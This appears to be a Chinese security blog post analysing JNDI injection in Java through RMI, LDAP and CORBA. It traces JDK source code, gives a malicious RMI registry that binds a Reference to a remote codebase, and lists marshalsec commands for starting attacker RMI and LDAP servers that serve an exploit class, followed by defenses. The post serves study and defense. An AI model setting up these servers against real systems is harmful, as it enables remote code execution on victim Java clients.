JavaSec jndi注入利用分析

在fastjson反序列化漏洞利用的学习中引出了JNDI的利用攻击方式,JNDI(Java Naming and Directory Interface)实际可以理解为一个编程接口,通过API的操作可以操作后端命名服务或者目录服务,如lookup、add、overwrite、remove、rename a binding object or create、list、destroy context。

命名服务|目录服务只要实现SPI都可以通过JNDI访问:如RMI,LDAP,COBRA,DNS等

JNDI API所有的操作都是基于一个InitContext对象操作:获取一个InitContext的具体步骤

(1)SPI Factory Class(driver)

(2)Provider URL

JNDI系统的架构原理表示

image-20201225193625447

一、JNDI基本使用

这里将举简单例子说明,通过JNDI API访问RMI,LDAP,CORBA这三个较为常用命名与目录服务。

1.1 JNDI with RMI

RMI(Remote Method Invocation)远程方法调用是一个命名服务,实现名称与Object绑定,详细关于RMI利用可以看《JavaSec RMI利用分析》,通过JNDI 与RMI交互:

// Create the initial context
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);

// Bind a Remote Object or Reference to Registry
ctx.bind("foo","sample data");

// Look up the object
Object obj = ctx.lookup("foo");
// Print it
System.out.println(name + " is bound to: " + obj);

通过Naming 提供的Referece,RMI服务端可以向Registry注册一个Remote Object 的引用,不用完整的在Registry绑定一个Java Serialized Class 数据(stub),这样的好处是节省Registry的内存使用。

通过源码分析Reference在通过ReferenceWrapper其实也是一个实现了Remote的远程对象,他提供Factory在客户端通过加载远程class文件实例化所需对象,这里的利用点就在通过这Reference实例化Factory造成RCE,将在下面JNDI注入-RMI利用证实

Restry.java

public class RMIRegistry {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("ExecTest", "ExecTest", "http://192.168.58.131:8080/");

        ReferenceWrapper evil = new ReferenceWrapper(reference);
        registry.bind("evil",evil);
        System.out.println("bind ExecTest Reference Done");
    }
}

ReferenceWrapper.java

package com.sun.jndi.rmi.registry;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import javax.naming.NamingException;
import javax.naming.Reference;

public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {
    protected Reference wrappee;
    private static final long serialVersionUID = 6078186197417641456L;

    public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
        this.wrappee = var1;
    }

    public Reference getReference() throws RemoteException {
        return this.wrappee;
    }
}

RemoteReference.java

package com.sun.jndi.rmi.registry;

import java.rmi.Remote;
import java.rmi.RemoteException;
import javax.naming.NamingException;
import javax.naming.Reference;

public interface RemoteReference extends Remote {
    Reference getReference() throws NamingException, RemoteException;
}

1.2 JNDI with LDAP

LDAP (Ligthweight Directory Access Protocol) 轻量级目录访问协议是一个目录协议的具体实现,提供接口实现对目录服务的链接,搜索与修改。

文档中指出LDAP服务中存储的对象主要有:

1.java 序列化数据

2.JNDI Reference

这里的利用点是在客户端的Naming Manager在反序列java Object时候造成RCE,与JNDI-RMI的利用一致,将在下面JNDI注入-LDAP利用分析调试中证实。

JNDI与LDAP交互的主要逻辑

// Create the initial context
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389");
DirContext ctx = new InitialDirContext(env);

// Bind a Object to the name “Foo” in the Directory
ctx.bind(“cn=foo,dc=test,dc=org”, “Sample String”);

// Look up the object
Object local_obj = ctx.lookup(“cn=foo,dc=test,dc=org”);
// Print it
System.out.println(name + " is bound to: " + obj);

LDAP的实现可以通过手动编码实现或者一些开源的实现,在安全测试我们可以通过marshalsec 快速搭建一个受攻击者控制的LDAP服务器,主要的利用LDAP进行JNDI注入攻击是指攻击者可以控制受害客户端向攻击的搭建的LDAP服务lookup恶意类或者攻击者能够对系统的LDAP服务器进行修改(LDAP Poisoning)JNDI利用LDAP的原理具体分析将在下面分析。

LDAP在当下Web系统开发使用较少,但在一些企业应用还是有使用的。

1.3 JNDI with CORBA

CORBA(Common Object Request Broker Architecture ) 通用对象请求代理体系为了解决跨系统、跨语言、跨平台间实现对象的调用;CORBA使用一个接口定义语言(IDL),用于指定对象呈现给外部的接口,其中包括有Java语言的IDL实现。

一个CORBA系统主要由Object Request Brokers (ORB) 组成,客户端从ORB获得对象的引用;采用的协议是General InterORB Protocol (GIOP) 的一个实现IIOP协议。

利用CORBA进行JNDI注入主要是在系统禁用RMI外的一个利用,攻击者可以给客户端返回一个恶意的Interoperable Object Reference (IOR) 达成RCE的目的,原理其实与JNDI注入-RMI利用原理差不多,将在下面调试中证实。

// Create the initial context
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.cosnaming.CNCtxFactory");
env.put(Context.PROVIDER_URL, "iiop://localhost:1050");
Context initialContext = new InitialContext(env);

// Bind a CORBA object
HelloServant helloRef = new HelloServant();
ctx.bind(“foo”, helloRef);

// Look up the object
Hello helloRef2 = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("Hello"));
// Use the object
helloRef2.sayHello();

这个CORBA在当下开发很少使用了。

二、JNDI注入利用方式

这里介绍JNDI注入的三个利用方式

2.1 JNDI注入-RMI利用

InitialContext.lookup通过scheme获取到rmiURLContext

image-20201226005802443

1.InitialContext.lookup实现:

//InitialContext.java
public Object lookup(String name) throws NamingException {
        //getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象,获取到Regitry的对象引用
        //然后在对应协议中去lookup搜索,我们进入lookup函数
        return getURLOrDefaultInitCtx(name).lookup(name);
}

2.lookup函数实现在GernericURLContext.java

//GenericURLContext.java
//var1="rmi://192.168.58.131:1099/evil"
public Object lookup(String var1) throws NamingException {
    //此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
    //不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext
    //进入不同的协议路线
    ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
    Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象

    Object var4;
    try {
        var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name-aa
    } finally {
        var3.close();
    }

    return var4;
}

这里getRootURLContext实现有:

image-20201226005955138

3.之后进入rmiURLContext.getRootURLContext()

经过一系列提取RMI地址取出registry的IP,port与remote Object binded name

image-20201226011734419

4.进入new RegistryContext新建RMI Registry,即获取Registry的stub本地代理

image-20201226012134041

5.在完成Registry创建后,要进行远程引用的解析

image-20201226012825785

进入 RegistryContext.lookup(),从Registry获得evil绑定的ReferenceWrapper_stub

image-20201226013358210

5.进入RegistryContext.decodeObject(),这个函数实现区分了Remote与Reference的使用

image-20201226015117610

6.进入利用关键的 NamingManager.getObjectInstance()

这里截取关键的代码并指出利用点

//传入Reference对象到refinfo
public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                        Hashtable<?,?> environment)
    throws Exception
{
        // Use builder if installed
    ...
    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {//满足
        ref = (Reference) refInfo;//复制
    } else if (refInfo instanceof Referenceable) {//不进入
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {//进入此处
        String f = ref.getFactoryClassName();//函数名 ExecTest
        if (f != null) {
            //任意命令执行点1(构造函数、静态代码),进入此处
            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                //任意命令执行点2(覆写getObjectInstance),
                return factory.getObjectInstance(ref, name, nameCtx,
                                                    environment);
            }
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
}

7.进入JNDI注入利用点1 NamingManager.getObjectFactoryFromReference

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;
    //尝试从本地获取该class
    try {
            clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    //如果不在本地classpath,从cosebase中获取class
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        //此处codebase是我们在恶意RMI服务端中定义的http://192.168.58.131:8080/
        try {
            //从我们放置恶意class文件的web服务器中获取class文件
            clas = helper.loadClass(factoryName, codebase);// helper.loadClass实现通过URLClassLoader实现
        } catch (ClassNotFoundException e) {
        }
    }
    //实例化我们的恶意class文件
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

8.通过重载factory.getObjectInstance达到RCE的目标,即利用点2

image-20201226022730883

所以整个JNDI注入-RMI利用连是

InitialContext.lookup("referece url")
InitialContext.getURLOrDefaultInitCtx() # 获得RMI Registry Context,内部有Registry的远程地址
GernericURLContext.lookup("referece name") 
RegistryContext.lookup("raferce name") # 获取Ristery Reference stub

RegistryContext.decodeObject(referece) # RemoteReference进行远程加载Reference的FactoryLocation
RemoteReference.getReferece() # 远程加载类factory

NamingManager.getObjectInstance() # 
NamingManager.getObjectFactoryFromReference -> factory newInstance调用静态方法

或重载的函数factory.getObjectInstance() 触发RCE

这里的利用条件是解决了 java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseOnly=false系统属性的限制实现RMI Remote Object Codebase类加载。RemoteReference.getReferece() 是通过URLClassLoader进行远程类加载

但在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。这里包括下载的LDAP 通过Reference实现远程Factory加载的JNDI攻击不在适用。

一个JNDI 注入利用的总结

1.RMI 动态加载恶意类:直接通过RMI remote object实现利用;为RMI Server攻击RMI Client的直接加载恶意类,在返回stub中的成员对象类加载反序列利用

修复:远程codebase 不允许;SecurityManager限制

2.RMI-JNDI注入:利用RMI的Reference在构造Factory对象 依据远程class的newInstance

修复:不允许加载远程Reference工厂类

3.LDAP-JNDI注入:利用LDAP可以加载远程Reference Factory绕过限制

修复:不允许ldap加载远程Reference工厂类

至于1.8u191之后咋办,我们新起一篇来讲述把;还是先来看一下可以绕过更多版本限制的LDAP+JNDI注入的利用方式

TODO: JDK1.8u191高版本JNDI绕过利用方式

综上利用RMI实现JNDI注入条件:

1.攻击者能够完全控制lookup参数,指向攻击者的恶意RMI Registry

2.受害者客户端在JDK6u132,JDK7u122,JDK8u113之前

使用 marshalsec可以快速搭建攻击者的恶意Registry,使得攻击者可以专注开发ExploitClass

装有java8,使用mvn clean package -DskipTests编译

#rmi服务器,rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject 
#不加8088端口号 默认是1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088
#rmi服务器,rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject 
#不加8088端口号 默认是1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088

同时恶意class文件的web服务还需要自己去起。

  1. 编写Exploit Java Class,不要写包名,javac编译为class文件
  2. 在class文件目录开始web server:python -m http.server 8080

2.2 JNDI注入-LDAP利用

这里的利用其实与JNDI Reference 利用一致,与LDAP Poining的利用区别是前者是攻击者完全控制lookup参数,使客户端指向受攻击者控制的LDAP服务器,后者是攻击者通过未授权等可以访问修改LDAP服务。

最终的漏洞触发点还是在远程Factory 类加载实例化的静态方法调用与Factory.getObjectInstance()方法

2.3 JNDI注入-CORBA利用

这里引用对CORBA的IOR配置利用

Embedded within the IOR we can find the Type Id and one or more profiles:
Type ID: It is the interface type also known as the repository ID format. Essentially, a
repository ID is a unique identifier for an interface.
Eg: IDL:Calculator:1.0.
IIOP version: Describes the Internet Inter-Orb Protocol (IIOP) version implemented by the
ORB.
Host: Identifies the TCP/IP address of the ORB’s host machine.
Port: Specifies the TCP/IP port number where the ORB is listening for client requests.
Object Key: Value uniquely identifies the servant to the ORB exporting the servant.
Components: A sequence that contains additional information applicable to object method
invocations, such as supported ORB services and proprietary protocol support.
Codebase: Remote location to be used for fetching the stub class. By controlling this
attribute, attackers will control the class that will get instantiated in the server decoding the
IOR reference

利用点

public org.omg.CORBA.Object read_Object(Class clz)
{
    // In any case, we must first read the IOR.
    IOR ior = IORFactories.makeIOR(parent);
    if (ior.isNil())
        return null;

    PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
    String codeBase = ior.getProfile().getCodebase();
    PresentationManager.StubFactory stubFactory = null;

    if (clz == null) {
        RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId());
        String className = rid.getClassName();
        boolean isIDLInterface = rid.isIDLType();
        if (className == null || className.equals( "" ))
            stubFactory = null;
        else
            try {
                //利用点
                stubFactory = sff.createStubFactory(className,isIDLInterface, codeBase, (Class)null,(ClassLoader)null);
                } catch (Exception exc) {
                // Could not create stubFactory, so use null.
                // XXX stubFactory handling is still too complex:
                // Can we resolve the stubFactory question once in
                // a single place?
                stubFactory = null;
            }
    } else if (StubAdapter.isStubClass( clz )) {
        stubFactory = PresentationDefaults.makeStaticStubFactory(clz);
    } else {
        // clz is an interface class
        boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ;
        stubFactory = sff.createStubFactory( clz.getName(),
        isIDL, codeBase, clz, clz.getClassLoader() ) ;
    }
    return internalIORToObject( ior, stubFactory, orb ) ;
}

攻击者返回受控制的codebase location和IDL Interface在createStubFactory可达成RCE目的。

但这个攻击是受限挺大的,且CORBA使用较少,要达成利用需满足

1.客户端安装使用Security Manager,通常这个限制比较严格

达成利用需要绕过Security Manager的限制,这个将在下次进行介绍

三、总结

下面以一张思维导图总结关于JNDI注入利用

image-20201225225957989

对于JNDI注入利用的一个防御:

1.不要使用不可信的输入作为InitialContext.lookup()的参数

2.使用Security Manager,并安全配置policy

3.禁止远程codebase加载类,如java.rmi.server.useCodebaseOnly = true,com.sun.jndi.ldap.object.trustURLCodebase=false;即不要修改默认值。

参考资料

1.marshalsec

2.BlackHack- A Journey From JNDI - LDAP Manipulation to RCE wp

3.JavaDoc -Java JNDI Trial

4.JavaDoc-LDAP


 上一篇
JavaSec rmi利用分析 JavaSec rmi利用分析
在《JavaSec JNDI注入利用分析》中JNDI支持访问多种命名与目录服务,其中就有利用RMI达成RCE的目的。RMI(Remote Method Invocation)远程方法调用可以类比RPC,这里将以下要点总结RMI的利用原理:
2020-12-04
下一篇 
JavaSec Fastjson反序列化漏洞利用原理 JavaSec Fastjson反序列化漏洞利用原理
在上篇《JavaSec Java反序列化漏洞利用》中指出,不安全的输入字节流参与甚至改变了程序的执行流是Java反序列化漏洞利用的成因,对于从字节序列反向实例化对象除了Java Serialize外,还有json,xml等传输数据格式,其中
2020-11-20
  目录